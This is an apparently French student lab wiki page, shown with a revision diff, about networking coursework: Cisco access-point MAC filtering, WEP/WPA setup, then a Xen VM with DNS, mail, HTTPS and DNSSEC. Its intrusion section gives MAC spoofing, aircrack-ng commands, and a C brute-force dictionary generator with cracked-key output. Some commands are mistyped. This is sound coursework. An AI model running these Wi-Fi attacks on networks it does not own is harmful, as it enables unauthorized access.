TP sysres IMA2a5 2015/2016 G4 : Différence entre versions

De Wiki d'activités IMA
Ligne 213 : Ligne 213 :
 
</pre>
 
</pre>
  
 +
<h3> Configuration du DNS </h3>
 +
Dans cette partie, on n'utilisera plus le serveur DNS de gandi mais le notre installé sur nos machines virtuelles.
 +
Pour cela il est nécessaire de modifier ces fichiers :
 +
 +
<pre>
 +
named.conf.local :
 +
zone "loveandpeace.lol" {
 +
        type master; // notre DNS est maitre et celui de gandi comme esclave
 +
        file "/etc/bind/db.dragon";  //dans ce fichier la, on met toutes notre configuration du DNS
 +
 +
</pre>
 +
 +
<pre>
 +
db.dragon :
 +
;
 +
; BIND data file for local loopback interface
 +
;
 +
$TTL    3600
 +
@      IN      SOA    ns admin (
 +
                              3        ; Serial  // ce numero doit être incrémenté après lors de chaque modification
 +
                          3600        ; Refresh
 +
                            600        ; Retry
 +
                          36000        ; Expire
 +
                          3600 )      ; Negative Cache TTL
 +
;
 +
@      IN      NS      ns
 +
@      IN      NS      ns6.gandi.net.
 +
@      IN      MX      100 mail
 +
 +
ns      IN      A      193.48.57.180 //adresse de ma machine virtuel
 +
mail    IN      A      193.48.57.180
 +
www    IN      CNAME  ns
 +
};
 +
</pre>
 +
 +
<pre>
 +
named.conf.options :
 +
options {
 +
        directory "/var/cache/bind";
 +
 +
        dnssec-validation auto;
 +
 +
        auth-nxdomain no;    # conform to RFC1035
 +
        listen-on-v6 { any; };
 +
        allow-transfer { "allowed_to_transfer"; };
 +
};
 +
 +
acl "allowed_to_transfer" {
 +
        217.70.177.40/32;
 +
};
 +
</pre>
 +
 
<h3> installer le mail server </h3>
 
<h3> installer le mail server </h3>
 
+
après la configuration du DNS, on passe à la configuration du mail, ce dernier nous aidera ensuite à la réception du certificat https de gandi.
 +
Pour cela
 
<pre>
 
<pre>
  apt-get install postfix
+
  apt-get install postfix // on installe postfix
  vi /etc/aliases => ajout de : admin:        root
+
  vi /etc/aliases => ajout de : admin:        root // on ajoute un utilisateur qui recevra les mail adressé à admin@loveandpeace.lol
  apt-get install mailx
+
  apt-get install mailx // on installe mailx
  apt-get install bsd-mailx
+
  apt-get install bsd-mailx // on installe bsd-mailx
 
  newaliases // recompiler les alias
 
  newaliases // recompiler les alias
  mailx
+
  mailx // on vérifie notre boite mail
 
</pre>
 
</pre>
  
 
+
<h3> Sécurisation du site en https</h3>
 +
Pour la sécurisation du site, il faut créer le fichier suivant : /etc/apache2/sites-available/000-domain.tld-ssl
 
<pre>
 
<pre>
 
   <VirtualHost 193.48.57.180:443>
 
   <VirtualHost 193.48.57.180:443>
Ligne 230 : Ligne 284 :
 
         ServerName www.loveandpeace.lol
 
         ServerName www.loveandpeace.lol
 
         ServerAlias loveandpeace.lol
 
         ServerAlias loveandpeace.lol
         DocumentRoot /var/www/www.loveandpeace.lol/
+
         DocumentRoot /var/www/www.loveandpeace.lol/ //ici, on met la racine de notre site en mode https
 
         CustomLog /var/log/apache2/secure_access.log combined
 
         CustomLog /var/log/apache2/secure_access.log combined
  
 
         SSLEngine on
 
         SSLEngine on
 +
        // on définit le chemin des certificats obtenus chez gandi
 
         SSLCertificateFile /root/dragon.crt
 
         SSLCertificateFile /root/dragon.crt
 
         SSLCertificateKeyFile /root/dragon.key
 
         SSLCertificateKeyFile /root/dragon.key
Ligne 241 : Ligne 296 :
 
   </VirtualHost>
 
   </VirtualHost>
 
</pre>
 
</pre>
 +
 +
Pour prendre en considération ces modifications, il faut exécuter les commandes suivantes :
  
 
<pre>
 
<pre>
  155  cat /root/mbox
+
// on prends en compte les modifications
  156  nano /root/mbox
+
a2ensite 000-domain.tld-ssl
  157  nano dragon.crt
+
a2enmod ssl
  158  ls
+
//on redemarre le serveur apache
  159  nano gandi.cert
+
service apache2 restart
  160  mv dragon.crt dragon.cert
+
</pre>
  161  ls
 
  162  ls
 
  163  vi /etc/apache2/sites-available/000-domain.tld-ssl
 
  164  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  165  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  166  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  167  nano /etc/apache2/sites-available/000-default.conf
 
  168  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  169  ls
 
  170  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  171  mv gandi.cert gandi.crt
 
  172  mv dragon.cert dragon.crt
 
  173  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  174  a2ensite 000-domain.tld-ssl
 
  175  a2ensite /etc/apache2/sites-available/000-domain.tld-ssl
 
  176  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  177  a2ensite /etc/apache2/sites-available/000-domain.tld-ssl
 
  178  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  179  nano /etc/apache2/sites-available/000-domain.tld-ssl
 
  180  ls
 
  181  cd /etc/apache2/sites-available/
 
  182  ls -l
 
  183  mv 000-domain.tld-ssl 000-domain.tld-ssl.conf
 
  184  ls -l
 
  185  a2ensite 000-domain.tld-ssl
 
  186  a2enmod ssl
 
  187  service apache2 reload
 
  188  netstat -tpln
 
  189  ls
 
  190  vi 000-domain.tld-ssl.conf
 
  191  mkdir /var/www/www.loveandpeace.lol/
 
  192  vi /var/www/www.loveandpeace.lol/index.html
 
  
 +
<h3> Sécurisation du serveur par DNSSEC</h3>mettant
 +
En premier, on modifie le fichier /etc/bind/named.conf.options en mettant dnssec-enable => yes
 +
Ensuite, on cree le dossier /etc/bind/loveandpeace pour y stocker les clés
 +
Après, on execute les commandes suivantes
 +
 +
<pre>
 +
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE -r /dev/urandom loveandpeace.lol
 +
// on renomme ensuite les fichiers générés
 +
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE -r /dev/urandom loveandpeace.lol
 +
// on renomme ensuite les fichiers générés
 
</pre>
 
</pre>
 +
 +
Après la géneration des clès on doit les prendre en compte dans le fichier db.dragon en incrémentant le "Serial" par 1
 +
 +
On signe les enregistrement grâce à la commande suivante :
 +
dnssec-signzone -o loveandpeace.lol -k loveandandpaece-ksk ../db.dragon loveandpeace-zsk
 +
ensuite dans le fichier named.conf.local, on modifie  "/etc/bind/db.dragon"; par "/etc/bind/db.dragon.signed";
 +
Au final, on communique la clef publique KSK à gandi.net
 +
Pour les tests  on utilise le sevise suivant : http://dnsviz.net

Version du 4 décembre 2015 à 22:19

Système & Réseaux : S9


I - Configuration du point d’accès

1) Filtrage par adresse MAC

Dans cette partie, chaque élève a son propre PC avec une adresse mac unique. Ci dessous l'adresse Mac de chaque PC

NomAdresse MAC
RElax00:15:af:e6:ed:b3
Puduc00:15:af:e6:ed:c4
papi00:15:af:e7:2d:fb

Pour la récupération de l'adresse mac, il suffit d’exécuter la commande suivante : /sbin/ifconfig

Le résultat ressemble au suivant :

eth0      Link encap:Ethernet  HWaddr f0:de:f1:07:29:e3  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:20 Memory:f2500000-f2520000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:207001 errors:0 dropped:0 overruns:0 frame:0
          TX packets:207001 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:19842913 (19.8 MB)  TX bytes:19842913 (19.8 MB)

wlan0     Link encap:Ethernet  HWaddr 00:27:10:44:fd:40  
          inet addr:192.168.1.18  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2a01:e35:8a07:de10:227:10ff:fe44:fd40/64 Scope:Global
          inet6 addr: 2a01:e35:8a07:de10:902f:3b4d:9e94:400c/64 Scope:Global
          inet6 addr: fe80::227:10ff:fe44:fd40/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:12617493 errors:0 dropped:3 overruns:0 frame:0
          TX packets:4311500 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:17440919166 (17.4 GB)  TX bytes:545660742 (545.6 MB)


1) Configuration du point d’accès Cisco

Dans un premier temps, il nous faut programmer le point cisco par le biais d'une connexion série. Après avoir branché le point d’accès en mode série, on se met en mode root et on lance le programme Minicom

pifou@zabeth05:~$ su
pifou@zabeth05:~$ minicom

une fois l’accès au point wifi est réalisé, on accède à sa configuration global :

ap#enable
ap#Config t 

Ensuite, on configure notre point d’accès afin qu'il autorise l’accès a certaine adresse mac et bloque le reste :

              
ap(config)#access-list 701 permit  00:15.afe6.edb3  0000.0000.0000               
ap(config)#access-list 701 permit  0015.afe6.edc4  0000.0000.0000 
ap(config)#access-list 701 permit  0015.afe7.2dfb  0000.0000.0000
ap(config)#access-list 701 deny    0000.0000.0000  ffff.ffff.ffff 

Les adresse mac autorisé sont : 00;15:af:e6:ed:b3 et 00:15:af:e6:ed:c4 et 00:15:af:e7:2d:fb Une fois l’accès par adresse Mac est configuré, on passe ensuite par la configuration du SSID

Configuration du SSID

ap(config)#dot11 ssid T1
ap(config-ssid)#dot11 ssid T1 
ap(config-ssid)#authentication open
ap(config-ssid)#guest-mode

Ceci nous permet de definir le nom du Wifi qui est : T1. Ensuite on déclare notre wifi sur l'une des interfaceRadio du point d’accès : on choisit l'interface "dot11Radio0".

 
ap(config)#interface dot11Radio0 
ap(config-if)#ssid T1
ap(config-if)#encryption key 1
ap(config-if)#encryption key 1 size 40bit 0 ????????? transmit-key
ap(config-if)#encryption mode Wep mandatory 
ap(config-if)#no shutdown

Le réseau est crypté par une clé wep, et se lance une fois le point d’accès est allumé.

3) Configuration des eeePC

Chaque PC doit se connecter automatiquement une fois allumé, pour cela il faut modifier le fichier : /etc/network/interfaces et y mettre les informations suivants :

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto wlan0
iface wlan0 inet static
	wireless-mode managed
	wireless-essid T1
	wireless-key ??????????
	address 172.26.79.66
	netmask 255.255.240.0
	gateway 172.26.79.254

Pour prendre en compte ces modification il faut redémarrer la carte wifi

ifdow wlan0
ifup wlan0

Intrusion par Adresse Mac

Dans cette partie, on cassera la sécurité Wifi, pour cela il faut juste changer l’adresse Mac de notre PC : Pour cela, on utilise les lignes de commande suivante :

ifconfig wlan0 down
ifconfig wlan0 hw ether 00:15:af:e7:2d:fb  (PC d' Eric)
ifconfig wlan0 up


Crackage de la cle wep

Dans cette partie, on s'interessera au crackage de la cle wep, pour cela on utilise le packetage aircrack. Dans un premier temps : airmon-ng start wlan1 airmondump-ng mon0 airmondump-ng mon0 --channel 5 --write capteur --bssid 04:d4:d2;9c:50:54 mon0 aircrack-ng capture-01.cap

Crackage de la cle wpa

la particularité de ce crackage est le fait de trouver le handshak : Pour cela on commence par la ligne de commande suivante :

airodump-ng -w out --encrypt wpa -c 11 --bssid 04:d4:d2;9c:50:54 mon0

Une fois le handshak est obtenue, on crée un dictionnaire pour le bruteforce sur notre clé wpa, pour cela on cree un petit programme en C:

#include <stdio.h>

int main(){
int cpt = 0;
for(cpt=0;cpt<99999999;cpt++){
        printf("%08d\n",cpt);
}
return 0;
}

On execute le programme en redirigeant sa sortie vers le fichier dictionnaire :

./bruteforce > dico

une fois le dictionnaire est créer, on utilise aircrack-ng ainsi que notre fichier capture(avec le handshak) Le bruteforce prend une heure pour tester toutes les possibilités avant de trouver la clé wpa

                                 Aircrack-ng 1.2 beta3


                   [00:58:47] 12399908 keys tested (3597.80 k/s)


                           KEY FOUND! [ 12399905 ]


      Master Key     : 10 F5 F9 6D F5 5D 9A D7 66 CE 4D 59 A7 28 E8 FC 
                       AF FD 13 C5 BF 80 CC AB 1E 72 7F 8F 07 36 3E E5 

      Transient Key  : FD 23 BE EE 18 CA 1E 70 D5 E8 2A 44 0A B7 08 7C 
                       CD BA E5 A4 5A 34 EE 2F B4 13 2A 20 81 A7 7A 1B 
                       3E 5A E1 14 D6 4D B9 0B FA 71 D1 C7 FF 01 FE F9 
                       3A 24 2A F3 91 6F C5 AA 5A 93 6D 64 F9 BC 59 68 

      EAPOL HMAC     : DE 44 15 8A 67 04 2C FD 62 79 93 1F 08 7B 34 D6 

Partie II - Installation de ma machine virtuel

Dans cette partie, on s'occupera de la création de la machine virtuel : Dans un premier temps, on se connecte en root sur la machine cordouan

ssh root@cordouan.insecserv.deule.net // pour se connecter au serveur hébergeant nos machines virtuels 
xen-create-image --hostname dragon --ip 193.48.57.183 --netmask 255.255.255.240 --dir /usr/local/xen

Après l'installation de la machine virtuel, quelques changements sont obligatoires :

// autoriser l’accès root  
nano /etc/ssh/sshd_config allow root login (without password)->yes

// dessinstaller les packets network-manager systemd
apt-get purge network-manager systemd

// pour passer via le lien ssh au lieu du lien série
init tab ==> sur la ligne 45 on change le tty1 par hvc0

Après la configuration de notre machine virtuel, il faudra retenir que :

Pour ouvirir la machine pour la première fois ou après l'avoir éteinte  : xl create /etc/xen/[nom de la machine].cfg
Pour l'ouverture d'une machine virtuel on utilise la commande: xl console [nom de la machine]
Pour eteindre la machine on utilise la comande : halt

Configuration du DNS

Dans cette partie, on n'utilisera plus le serveur DNS de gandi mais le notre installé sur nos machines virtuelles. Pour cela il est nécessaire de modifier ces fichiers :

named.conf.local :
zone "loveandpeace.lol" {
        type master; // notre DNS est maitre et celui de gandi comme esclave
        file "/etc/bind/db.dragon";  //dans ce fichier la, on met toutes notre configuration du DNS

db.dragon :
;
; BIND data file for local loopback interface
;
$TTL    3600
@       IN      SOA     ns admin (
                              3         ; Serial  // ce numero doit être incrémenté après lors de chaque modification
                           3600         ; Refresh 
                            600         ; Retry
                          36000         ; Expire
                           3600 )       ; Negative Cache TTL
;
@       IN      NS      ns
@       IN      NS      ns6.gandi.net.
@       IN      MX      100 mail

ns      IN      A       193.48.57.180 //adresse de ma machine virtuel
mail    IN      A       193.48.57.180
www     IN      CNAME   ns
};
named.conf.options :
options {
        directory "/var/cache/bind";

        dnssec-validation auto;

        auth-nxdomain no;    # conform to RFC1035
        listen-on-v6 { any; };
        allow-transfer { "allowed_to_transfer"; };
};

acl "allowed_to_transfer" {
        217.70.177.40/32;
};

installer le mail server

après la configuration du DNS, on passe à la configuration du mail, ce dernier nous aidera ensuite à la réception du certificat https de gandi. Pour cela

 apt-get install postfix // on installe postfix
 vi /etc/aliases => ajout de : admin:         root // on ajoute un utilisateur qui recevra les mail adressé à admin@loveandpeace.lol
 apt-get install mailx // on installe mailx
 apt-get install bsd-mailx // on installe bsd-mailx
 newaliases // recompiler les alias
 mailx // on vérifie notre boite mail

Sécurisation du site en https

Pour la sécurisation du site, il faut créer le fichier suivant : /etc/apache2/sites-available/000-domain.tld-ssl

  <VirtualHost 193.48.57.180:443>

        ServerName www.loveandpeace.lol
        ServerAlias loveandpeace.lol
        DocumentRoot /var/www/www.loveandpeace.lol/  //ici, on met la racine de notre site en mode https
        CustomLog /var/log/apache2/secure_access.log combined

        SSLEngine on
        // on définit le chemin des certificats obtenus chez gandi
        SSLCertificateFile /root/dragon.crt
        SSLCertificateKeyFile /root/dragon.key
        SSLCertificateChainFile /root/gandi.crt
        SSLVerifyClient None

  </VirtualHost>

Pour prendre en considération ces modifications, il faut exécuter les commandes suivantes :

// on prends en compte les modifications
a2ensite 000-domain.tld-ssl
a2enmod ssl
//on redemarre le serveur apache
service apache2 restart

Sécurisation du serveur par DNSSEC

mettant

En premier, on modifie le fichier /etc/bind/named.conf.options en mettant dnssec-enable => yes Ensuite, on cree le dossier /etc/bind/loveandpeace pour y stocker les clés Après, on execute les commandes suivantes

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE -r /dev/urandom loveandpeace.lol 
// on renomme ensuite les fichiers générés
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE -r /dev/urandom loveandpeace.lol
// on renomme ensuite les fichiers générés

Après la géneration des clès on doit les prendre en compte dans le fichier db.dragon en incrémentant le "Serial" par 1

On signe les enregistrement grâce à la commande suivante : dnssec-signzone -o loveandpeace.lol -k loveandandpaece-ksk ../db.dragon loveandpeace-zsk ensuite dans le fichier named.conf.local, on modifie "/etc/bind/db.dragon"; par "/etc/bind/db.dragon.signed"; Au final, on communique la clef publique KSK à gandi.net Pour les tests on utilise le sevise suivant : http://dnsviz.net